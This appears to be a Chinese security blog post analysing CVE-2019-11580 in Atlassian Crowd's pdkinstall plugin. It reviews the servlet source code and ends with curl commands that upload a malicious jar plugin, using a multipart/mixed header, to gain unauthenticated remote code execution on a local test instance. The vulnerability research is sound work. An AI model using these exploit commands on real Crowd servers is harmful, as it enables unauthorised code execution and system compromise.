0x00 前言
最近我在渗透测试过程中,遇到了一个Atlassian Crowd环境。根据官方描述,Crowd是一个集中式身份管理应用,可以帮助企业“管理来自多个目录的用户,比如活动目录(AD)、LDAP、OpenLDAP或者Microsoft Azure AD,也可以在同一个位置来控制应用程序的身份认证权限”。
目标环境安装的Crowd版本较老,因此我向Google伸出援手,想搜搜该版本有没有漏洞,这里我找到了一处安全公告:“pdkinstall
开发插件未正确启用漏洞(CVE-2019-11580)”。
Atlassian的描述如下:
“Crowd以及Crowd Data Center在发布版(release)中没有正确启用
pdkinstall
开发插件。如果攻击者向Crowd或者Crowd Data Center实例发送未授权或者已授权的请求,就可以利用该漏洞来安装任意插件。如果目标系统上运行存在漏洞的Crowd或者Crowd Data Center,那么攻击者可以通过该漏洞实现远程代码执行(RCE)”。
经过一番搜索后,我并没有找到该漏洞对应的PoC,因此我决定分析漏洞,尝试自己构建PoC。
0x01 代码分析
首先clone该插件的源代码:
root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.
插件的描述文件路径为./main/resources/atlassian-plugin.xml
,每个插件都需要搭配一个插件描述文件,根据Atlassian官方介绍,其中包含XML格式数据,用来“描述托管应用所需的插件以及插件中的模块”。
来看一下该文件内容:
<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
<version>${project.version}</version>
<vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>
<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
<url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>
<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
location="before-decoration">
<url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>
<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>
从中可知,当访问/admin/uploadplugin.action
时,就会调用com.atlassian.pdkinstall.PdkInstallFilter
这个Java servlet类。由于我们知道这个RCE漏洞由任意插件安装问题所触发,因此我们首先需要看一下PdkInstallFilter servlet的源代码。
这里我们可以将pdkinstall-plugin导入IntelliJ中,开始分析源代码。我们可以从doFilter()
方法开始分析。
从此处代码中可知,如果请求的方法不是POST方法,那么代码就会退出,返回一个错误响应:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;
if (!req.getMethod().equalsIgnoreCase("post"))
{
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
return;
}
接下来,代码会判断请求中是否包含multipart数据。Multipart数据是包含一个或多个数据集组合的body数据。如果请求中包含multipart数据,那么代码就会调用extractJar()
方法来提取请求所发送的jar,否则就会调用buildJarFromFiles()
方法,尝试从请求数据中构建出一个jar插件文件。
// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
tmp = extractJar(req, res, tmp);
}
else
{
tmp = buildJarFromFiles(req);
}
接下来开始分析extractJar()
方法。
private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
// Create a new file upload handler
ServletFileUpload upload = new ServletFileUpload(factory);
// Parse the request
try {
List<FileItem> items = upload.parseRequest(req);
for (FileItem item : items)
{
if (item.getFieldName().startsWith("file_") && !item.isFormField())
{
tmp = File.createTempFile("plugindev-", item.getName());
tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
item.write(tmp);
}
}
} catch (FileUploadException e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
} catch (Exception e) {
log.warn(e, e);
res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
}
return tmp;
}
首先,该函数会实例化ServletFileUpload
的一个新对象,然后调用parseRequest()
方法来解析HTTP请求。该方法会解析HTTP请求中的multipart/form-data
数据流,并将解析出的FileItem存放到items
列表中。
对于FileItem
列表中的每个item
,如果字段名以file_
作为前缀,且不是表单字段(即HTML字段),那么该方法就会创建并写入一个文件,将该文件上传到磁盘上的临时目录中。如果操作失败,tmp
变量的值将为null
;如果操作成功,tmp
变量将包含已写入文件的具体路径。代码会将tmp
变量返回给doFilter()
方法。
if (tmp != null)
{
List<String> errors = new ArrayList<String>();
try
{
errors.addAll(pluginInstaller.install(tmp));
}
catch (Exception ex)
{
log.error(ex);
errors.add(ex.getMessage());
}
tmp.delete();
if (errors.isEmpty())
{
res.setStatus(HttpServletResponse.SC_OK);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
}
else
{
res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
servletResponse.setContentType("text/plain");
servletResponse.getWriter().println("Unable to install plugin:");
for (String err : errors)
{
servletResponse.getWriter().println("t - " + err);
}
}
servletResponse.getWriter().close();
return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");
如果extractJar()
执行成功,tmp
变量就会被设置为非null
的其他值。应用程序会尝试使用pluginInstaller.install()
方法安装插件,捕获安装过程中出现的任何错误。如果没有出现错误,服务端会返回200 OK
响应,提示插件已成功安装。否则,服务端会响应400 Bad Request
,提示“Unable to install plugin”(无法安装插件),响应消息中还包含导致安装失败的具体错误。
然而,如果最初的extractJar()
方法执行失败,tmp
变量就会被设置为null
,服务端会返回400 Bad Request
,提示“Missing plugin file”(插件文件缺失)。
现在我们了解了servlet工作原理及服务端期望收到的请求格式,我们可以尝试构造漏洞利用代码。
0x02 构造PoC
方法1
首先使用Atlassian SDK启动一个测试实例。
现在确保我们可以通过访问http://localhost:4990/crowd/admin/uploadplugin.action
来调用pdkinstall
插件。
服务端应该会返回“400 Bad Request”响应:
接下来利用我们目前已掌握的信息来上传一个标准插件。我选择来自atlassian-bundled-plugins
中的applinks-plugin作为测试对象,大家可以从此处下载已编译好的jar文件。
根据我们了解的信息:servlet希望处理POST请求,请求中包含multipart数据,而multipart数据包含以file_
开头的文件。我们可以使用cURL的--form
参数发起满足条件的请求:
root@doggos:~# curl --form "file_cdl=@applinks-plugin-5.2.6.jar" http://localhost:4990/crowd/admin/uploadplugin.action -v
从结果中可知,服务端成功安装了插件,因此我们是不是可以创建并安装自己的插件呢?
为了测试方便,我创建了一个恶意插件(访问此处下载)。
接下来编译并尝试上传该插件。
root@doggos:~# ./compile.sh
root@doggos:~# curl --form "file_cdl=@rce.jar" http://localhost:8095/crowd/admin/uploadplugin.action -v
可以看到服务端会返回“400 Bad Request”错误,响应数据中包含错误消息:“Missing plugin file”。从前文分析可知,如果tmp
为null
,那么服务端就会返回完全相同的错误代码及消息,但为什么会出现这种情况呢?我们可以调试一下。
我在IntelliJ中导入了pdkinstall-plugin
,将调试器attach到Crowd实例,然后打开负责处理上传流程的PdkInstallFilter.java
servlet。
我首先猜测ServletFileUpload.isMultipartContent(req)
方法无法执行成功,因此我在该函数设置了一个断点,然后尝试上传我们的恶意插件。然而,我们可以看到该函数会正常运行,并且服务端会将其当成multipart数据:
因此肯定是extractJar()
出了问题。我们可以调试该方法,逐行设置断点,这样方便找到出错的位置。设置断点后,我再次尝试上传:
可以看到upload.parseRequest(req)
方法会返回一个空的数组。由于items
变量为空,因此代码会跳过for
循环,返回值为null
的tmp
。
我花了很长时间,想澄清为什么会出现这种情况,但我并不清楚真正的原因。然而这并不关键,我只关心如何实现RCE。
那么如果我将Content-Type
从multipart/form-data
改成其他multipart
编码,会出现什么情况呢?可以来试一下。
方法2
这一次我决定将Content-Type
改成multipart/mixed
,尝试上传我的恶意插件。
curl -k -H "Content-Type: multipart/mixed"
--form "file_cdl=@rce.jar" http://localhost:4990/crowd/admin/uploadplugin.action
服务端会在返回数据中提示插件已安装成功:
来看一下我们是否真的可以调用这个恶意插件:
这里我们已经成功针对Atlassian Crowd实现了无需身份认证的远程代码执行(RCE)。
0x03 总结
在对这个CVE的整个分析过程中,我所付出的努力都得到了回报,没有浪费时间精力,这正是漏洞分析过程的关键点所在。我们永远不要害怕尝试新事物,也不要害怕失败,这是整个过程最大的收获。
我对Java并不是特别了解,也没有丰富的调试经验,但这些都没有阻止我不断去尝试。尝试新事物、研究新内容、不断排查错误,这也是学习过程的重要过程。